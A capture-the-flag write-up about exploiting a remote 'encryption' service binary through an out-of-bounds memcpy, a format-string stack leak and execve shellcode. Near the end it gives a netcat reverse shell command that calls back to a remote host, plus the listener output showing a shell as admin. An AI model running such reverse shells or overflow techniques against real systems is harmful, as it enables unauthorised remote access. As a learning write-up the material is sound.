Brushing off the dust

It's been about 4 months since I've done any serious reversing / binary exploitation, so warming up with an exploitation of a remote binary with ASLR wasn't exactly what I had in mind, but a challenge is a challenge.

First steps

File

file output

Checking the output of the file command shows that it's a 64 bit statically linked and stripped binary... Reversing and dynamic analysis won't be fun... But I've got a 64 bit linux machine to run it on.

Checksec

checksec output

Starting by running checksec, thankfully the binary doesn't have any other security, which makes it much simpler after I can find an exploitable crash.

Ghidra

My next step was to update Ghidra and to try to familiarize myself with some intel flavored assembly. I spent some time looking through, but I realized that I didn't know what inputs I was looking for so we'll come back to this.

GDB

readelf to find the entrypoint

I can't insert a breakpoint if I don't know where the code is, so I had to first find the entrypoint of the program without readelf at 0x4003a0. This actually didn't help since I was busy stepping through a bunch of assembly without any knowledge of what the program does. I'm not saying it's impossible to do, but it is tedious and I'm trying to solve the challenge, not understand what memory it moves to start.

File Behavior

It would help if I knew an outline of what the progam was doing, so running the program with ./binary and connecting to it with nc localhost 2999 gave me some insight. I'm not going to provide screenshots of the output because I don't want to spoil this challenge for other people. I'll be vague on the specifics, but the important parts will be included.

Once the netcat session is established, the binary sends a welcome message and explains the service. Essentially it's an "encryption" service – a user provides an input and receives the "encrypted" output. The user is able to provide a couple inputs and then the connection closes.

With this we can jump back into Ghidra and find the data in the binary, then find the references to it and then we'll be able to trace the execution statically from there.

Finding the Vulnerable Crash in Ghidra

string finder

Using the defined strings window we can search for the "welcome" string and get the address of the string.

symbol table output

Using the symbol table and symbol references we can find locations in the program that reference the string. This is great for me because the function that looped through all of the inputs received was directly referencing this string. After finding this function, I can now create breakpoints at what I believe to be an important part of the program and figure out what the stripped function calls are.

After some dynamic analysis with GDB I was able to identify the memset call to zero out one of the two buffers this function uses. And 2 memcpy calls.

local variables

  undefined8 socket_read_ret;
  long send_socket_ret;
  char out_buf [512];
  char input_output_buf [520];
  int socket_read_size;
  int i;
local variables and their position on the stack

This is going to be important later!

memcpy calls

These stood out to me since there were 2 of them. Here's the code block with my renames and retypes.

      memcpy(out_buf,input_output_buf,(long)socket_read_size);
      encrypt(out_buf,socket_read_size);
      memcpy(input_output_buf + socket_read_size,out_buf,(long)socket_read_size);
notice anything?

Take a moment and look at these and see if anything jumps out...

Anything? Cuz I didn't see anything either. The socket is reading 0x200==512 into the buffer and won't be able to reach the socket_read_ret to modify the value of the second memcpy. So let's see what's happening in GDB

Back to GDB!

There's a lot of raw memory here so let's go through it step by step

Stack before the first memcpy call

gef➤  x/268xw $rsp
0x7fffffffd130:	0x00000000	0x00000000	0x00000004	0x00000004
# vvv out_buf
0x7fffffffd140:	0xXXXXXXXX	0x0000000a	0x00000000	0x00000000
0x7fffffffd150:	0x00000000	0x00000000	0x00000000	0x00000000
...snip...
# vvv input_output_buf 
0x7fffffffd340:	0x61616161	0x61616162	0x61616163	0x61616164
0x7fffffffd350:	0x61616165	0x61616166	0x61616167	0x61616168
0x7fffffffd360:	0x61616169	0x6161616a	0x6161616b	0x6161616c
0x7fffffffd370:	0x6161616d	0x6161616e	0x6161616f	0x61616170
0x7fffffffd380:	0x61616171	0x61616172	0x61616173	0x61616174
0x7fffffffd390:	0x61616175	0x61616176	0x61616177	0x61616178
0x7fffffffd3a0:	0x61616179	0x6261617a	0x62616162	0x62616163
0x7fffffffd3b0:	0x62616164	0x62616165	0x62616166	0x62616167
0x7fffffffd3c0:	0x62616168	0x62616169	0x6261616a	0x6261616b
0x7fffffffd3d0:	0x6261616c	0x6261616d	0x6261616e	0x6261616f
0x7fffffffd3e0:	0x62616170	0x62616171	0x62616172	0x62616173
0x7fffffffd3f0:	0x62616174	0x62616175	0x62616176	0x62616177
0x7fffffffd400:	0x62616178	0x62616179	0x6361617a	0x63616162
0x7fffffffd410:	0x63616163	0x63616164	0x63616165	0x63616166
0x7fffffffd420:	0x63616167	0x63616168	0x63616169	0x6361616a
0x7fffffffd430:	0x6361616b	0x6361616c	0x6361616d	0x6361616e
0x7fffffffd440:	0x0000000a	0x00000000	0x00000000	0x00000000
...snip...
#                                       vv socket_read_size  v i
0x7fffffffd540:	0x00000000	0x00000000	0x00000101	0x00000001
#                                       vv saved return address
0x7fffffffd550:	0xffffd590	0x00007fff	0x004008e1	0x00000000

This looks normal, the out_buf is from the previous run (only the input_output_buf gets memset) and the input_output_buf is from our cyclic 256 input and the newline character 0x0a.  We can also see the socket_read_size, i, and the saved return address.

Stack after first memcpy call

gef➤  x/268xw $rsp
0x7fffffffd130:	0x00000000	0x00000000	0x00000004	0x00000004
# vvv out_buf
0x7fffffffd140:	0x61616161	0x61616162	0x61616163	0x61616164
...snip...
0x7fffffffd230:	0x6361616b	0x6361616c	0x6361616d	0x6361616e
0x7fffffffd240:	0x0000000a	0x00000000	0x00000000	0x00000000
...snip...
# vvv input_output_buf 
0x7fffffffd340:	0x61616161	0x61616162	0x61616163	0x61616164
...snip...
0x7fffffffd430:	0x6361616b	0x6361616c	0x6361616d	0x6361616e
0x7fffffffd440:	0x0000000a	0x00000000	0x00000000	0x00000000
...snip...
0x7fffffffd530:	0x00000000	0x00000000	0x00000000	0x00000000
#                                       vv socket_read_size  v i
0x7fffffffd540:	0x00000000	0x00000000	0x00000101	0x00000001
#                                       vv saved return address
0x7fffffffd550:	0xffffd590	0x00007fff	0x004008e1	0x00000000

This memcpy call copies the input into the out_buf, nothing interesting here.

Second memcpy (after "encryption" call)

Here's where things get interesting, lets look at the parameters to the call:

arguments (guessed)
0x410340 (
   $rdi = 0x00007fffffffd441 → 0x0000000000000000,
   $rsi = 0x00007fffffffd140 → "[...]",
   $rdx = 0x0000000000000101,
   $rcx = 0x00007fffffffd441 → 0x0000000000000000
)

void *memcpy(void *restrict dest, const void *restrict src, size_t n);

The destination is after the input in the input_output_buf! Despite the read and copies being less than the size of the buffer, there is still a write to outside of the buffer. Big day for us, even with a little over half of the buffer, we can almost reach the saved return address

gef➤  x/268xw $rsp
0x7fffffffd130:	0x00000000	0x00000000	0x00000004	0x00000004
# vvv out_buf
0x7fffffffd140:	0xXXXXXXXX	0xXXXXXXXX	0xXXXXXXXX	0xXXXXXXXX
...snip...
# vvv input_output_buf 
0x7fffffffd340:	0x61616161	0x61616162	0x61616163	0x61616164
...snip
0x7fffffffd430:	0x6361616b	0x6361616c	0x6361616d	0x6361616e
0x7fffffffd440:	0xXXXXXX0a	0xXXXXXXXX	0xXXXXXXXX	0xXXXXXXXX
...snip...
0x7fffffffd530:	0xXXXXXXXX	0xXXXXXXXX	0xXXXXXXXX	0xXXXXXXXX
#  end of memcpy data vvvv              vv socket_read_size  v i
0x7fffffffd540:	0x00000aXX	0x00000000	0x00000101	0x00000001
#                                       vv saved return address
0x7fffffffd550:	0xffffd590	0x00007fff	0x004008e1	0x00000000

Some maths (255 + 32 / 2) shows us that an input of size 271 will overwrite the return address – to confirm we can overwrite the return address

[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "binary", stopped 0x40075a in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────── trace ────
[#0] 0x40075a → ret 

Win, but not yet exploitable because of ASLR, we won't be able to do return to anywhere without a leak.

The Leak

When I think of leaks I think of format string attacks. On this thought I entered %x as an input, and out popped ffffd340...

Some more reading into format strings and I used %p to get a proper address: 0x7fffffffd340 which just happens to correspond to the address of the input_output_buf.

The Payload

To get the flag I had to run an executable at /home/admin/flag with my token. All I have to do is call execve on the flag executable with shellcode. To do this I used pwntools' shellcraft library. It's super easy, just set the architecture and write out the arguments in shellcraft.execve().

One hitch, the socket gets closed before the function returns...

Reverse shell

I wasn't planning on creating a reverse shell, but the flag is within my grasp.

Using the nc's -e (execs a command) we can create a super simple reverse shell like so: nc -e /bin/bash remote remote_port.

On our remote server we use nc -lvp remote_port (-l is listen, -v is verbose, -p is port) to wait for our reverse shell to call back to us.

Running the exploit we get our reverse shell

nc -nlvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 111.111.111.111 12345 received!
whoami
admin
/home/admin/flag my_token
flag{yehaw_this_isn't_the_real_flag}
PHSC138
The World Wide Web